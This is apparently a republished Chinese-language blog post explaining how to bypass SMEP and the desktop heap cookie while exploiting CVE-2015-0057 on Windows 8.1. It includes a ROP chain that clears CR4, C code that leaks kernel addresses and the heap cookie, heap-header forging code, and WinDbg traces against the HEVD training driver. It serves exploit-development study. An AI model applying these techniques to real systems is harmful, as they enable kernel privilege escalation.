bypass SMEP & bypass heap cookie

这里是对CVE-2015-0057在win8.1环境中的一些保护方式绕过方法的说明

SMEP

SMEP是Win8后提出的一种保护机制,它阻止supervisor模式的程序从用户模式中获取指令,简单的来说,我们这里特指内核模式不能直接执行用户模式的代码。SMEP的实现,需要CPU的支持,在CR4寄存器中,第20个bit是SMEP的标志位,如图
bypass SMEP & bypass heap cookie_第1张图片
一种绕过它的方式是收集内核模块中的gadget来构建ROP链,该ROP链先清零CR4中的第20bit,然后跳转到用户模式下的shellcode执行。nt!模块中正好有需要的gadget

kd> u
nt!HvlEndSystemInterrupt+0x1a:
fffff800`84b4e32a 8bd0            mov     edx,eax
fffff800`84b4e32c 0f30            wrmsr
fffff800`84b4e32e 5a              pop     rdx
fffff800`84b4e32f 58              pop     rax
fffff800`84b4e330 59              pop     rcx
fffff800`84b4e331 c3              ret

kd> u
nt!KeWakeProcessor+0x49:
fffff800`84be74e1 488bc1          mov     rax,rcx
fffff800`84be74e4 480fbaf007      btr     rax,7
fffff800`84be74e9 0f22e0          mov     cr4,rax
fffff800`84be74ec 0f22e1          mov     cr4,rcx
fffff800`84be74ef c3              ret

于是,我们只需要构造以下ROP链即可

pop_rcx
disableSmepValue
mov_cr4_rcx
shellcode

所以问题在于我们如何从ring3层动态找到处于ring0层的地址,在medium integrity下,可以直接通过NtQuerySystemInformation来获取内核模块基地址,代码如下

PUCHAR GetKernelBase()
{
	DWORD len;
	PSYSTEM_MODULE_INFORMATION ModuleInfo;
	PUCHAR kernelBase = NULL;

	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
		GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
	if (NtQuerySystemInformation == NULL) {
		return NULL;
	}

	NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
	ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!ModuleInfo)
	{
		return NULL;
	}

	NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);

	kernelBase = ModuleInfo->Module[0].ImageBase;
	VirtualFree(ModuleInfo, 0, MEM_RELEASE);

	return kernelBase;
}

以Win8.1下在HEVD中的栈溢出为例,在win8之前我们只需要将shellcode地址覆盖到返回地址即可,但这里必须要绕过SMEP,首先看一下cr4的值

kd> rM 20
dr0=0000000000000000 dr1=0000000000000000 dr2=0000000000000000
dr3=0000000000000000 dr6=00000000fffe0ff0 dr7=0000000000000400 cr4=00000000001506f8
kdr0=0000000000000000 kdr1=0000000000000000 kdr2=0000000000000000
kdr3=0000000000000000 kdr6=00000000fffe0ff0 kdr7=0000000000000400

可以看到其第20bit为1,要关闭SMEP,将cr4的值改为0x506f8即可。

kd> p
HEVD!TriggerBufferOverflowStack+0x109:
fffff801`ba6fb6bd 415c            pop     r12
kd> p
HEVD!TriggerBufferOverflowStack+0x10b:
fffff801`ba6fb6bf c3              ret
kd> p
nt!wcsncpy_s+0x7f6c:
fffff800`84b4e330 59              pop     rcx
kd> p
nt!wcsncpy_s+0x7f6d:
fffff800`84b4e331 c3              ret
kd> p
nt!KeFlushEntireTb+0x14c:
fffff800`84be74ec 0f22e1          mov     cr4,rcx
kd> p
nt!KeFlushEntireTb+0x14f:
fffff800`84be74ef c3              ret
kd> rM 20
dr0=0000000000000000 dr1=0000000000000000 dr2=0000000000000000
dr3=0000000000000000 dr6=00000000ffff4ff0 dr7=0000000000000400 cr4=00000000000506f8
kdr0=0000000000000000 kdr1=0000000000000000 kdr2=0000000000000000
kdr3=0000000000000000 kdr6=00000000ffff4ff0 kdr7=0000000000000400
kd> p
000000ad`1aa90000 65488b142588010000 mov   rdx,qword ptr gs:[188h]	;shellcode
kd> p
000000ad`1aa90009 4c8b82b8000000  mov     r8,qword ptr [rdx+0B8h]
kd> p
000000ad`1aa90010 4d8b88e8020000  mov     r9,qword ptr [r8+2E8h]

可以看到经过这样的ROP,cr4的第20bit被置0,而shellcode也正常执行了,说明绕过成功。

Heap Cookie

Windows为了防止堆溢出,每次开机时都会产生一个随机数作为cookie,对堆块头部进行异或加密,如果我们直接进行覆盖,则无法通过之后的校验。不过由于这里只进行了简单的异或,所以一旦我们获取了这个heap cookie,就能还原出正确的HEAP_ENTRY,大概像这样

xored_header   = (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE;
decoded_header = XOR(string((CHAR *)xored_header, 16), cookie);

// modify heap header
tmp_header = (CHAR *)decoded_header.c_str();
tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE)/0x10;	// new size
tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10];		// new checksum

// xor new heap header
new_heap_header = XOR(decoded_header, cookie);

于是关键就是获取heap cookie,我们来解释一下这段获取heap cookie的代码

BOOL GetDHeapCookie()
{
	__debugbreak();
	MEMORY_BASIC_INFORMATION MemInfo = { 0 };
	BYTE *Addr = (BYTE *) 0x1000;
	ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;

	while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
	{
		if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
		{
			if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee )
			{
				if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap))
				{
					xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 );
					return TRUE;
				}
			}
		}
		Addr += MemInfo.RegionSize;
	}

	return FALSE;
}

其中VirtualQuery是获取堆块信息,在之后的比对中,偏移0x10的0xffeeffee为堆的签名,这是一个堆的标志。而deltaDHeap是提前获取好的,它是内核空间映射到用户空间的相对偏移,而偏移0x28位置的值正好是该用户空间的堆在内核中的地址,经过两层比对,就可以确定该堆块确实由内核空间映射而来,于是取其+0x80处16字节,即是cookie值了。结构如下

kd> dt _HEAP
ntdll!_HEAP
   +0x000 Entry            : _HEAP_ENTRY
   +0x010 SegmentSignature : Uint4B
   +0x014 SegmentFlags     : Uint4B
   +0x018 SegmentListEntry : _LIST_ENTRY
   +0x028 Heap             : Ptr64 _HEAP
   +0x030 BaseAddress      : Ptr64 Void
   +0x038 NumberOfPages    : Uint4B
   +0x040 FirstEntry       : Ptr64 _HEAP_ENTRY
   +0x048 LastValidEntry   : Ptr64 _HEAP_ENTRY
   +0x050 NumberOfUnCommittedPages : Uint4B
   +0x054 NumberOfUnCommittedRanges : Uint4B
   +0x058 SegmentAllocatorBackTraceIndex : Uint2B
   +0x05a Reserved         : Uint2B
   +0x060 UCRSegmentList   : _LIST_ENTRY
   +0x070 Flags            : Uint4B
   +0x074 ForceFlags       : Uint4B
   +0x078 CompatibilityFlags : Uint4B
   +0x07c EncodeFlagMask   : Uint4B
   +0x080 Encoding         : _HEAP_ENTRY

你可能感兴趣的:(安全)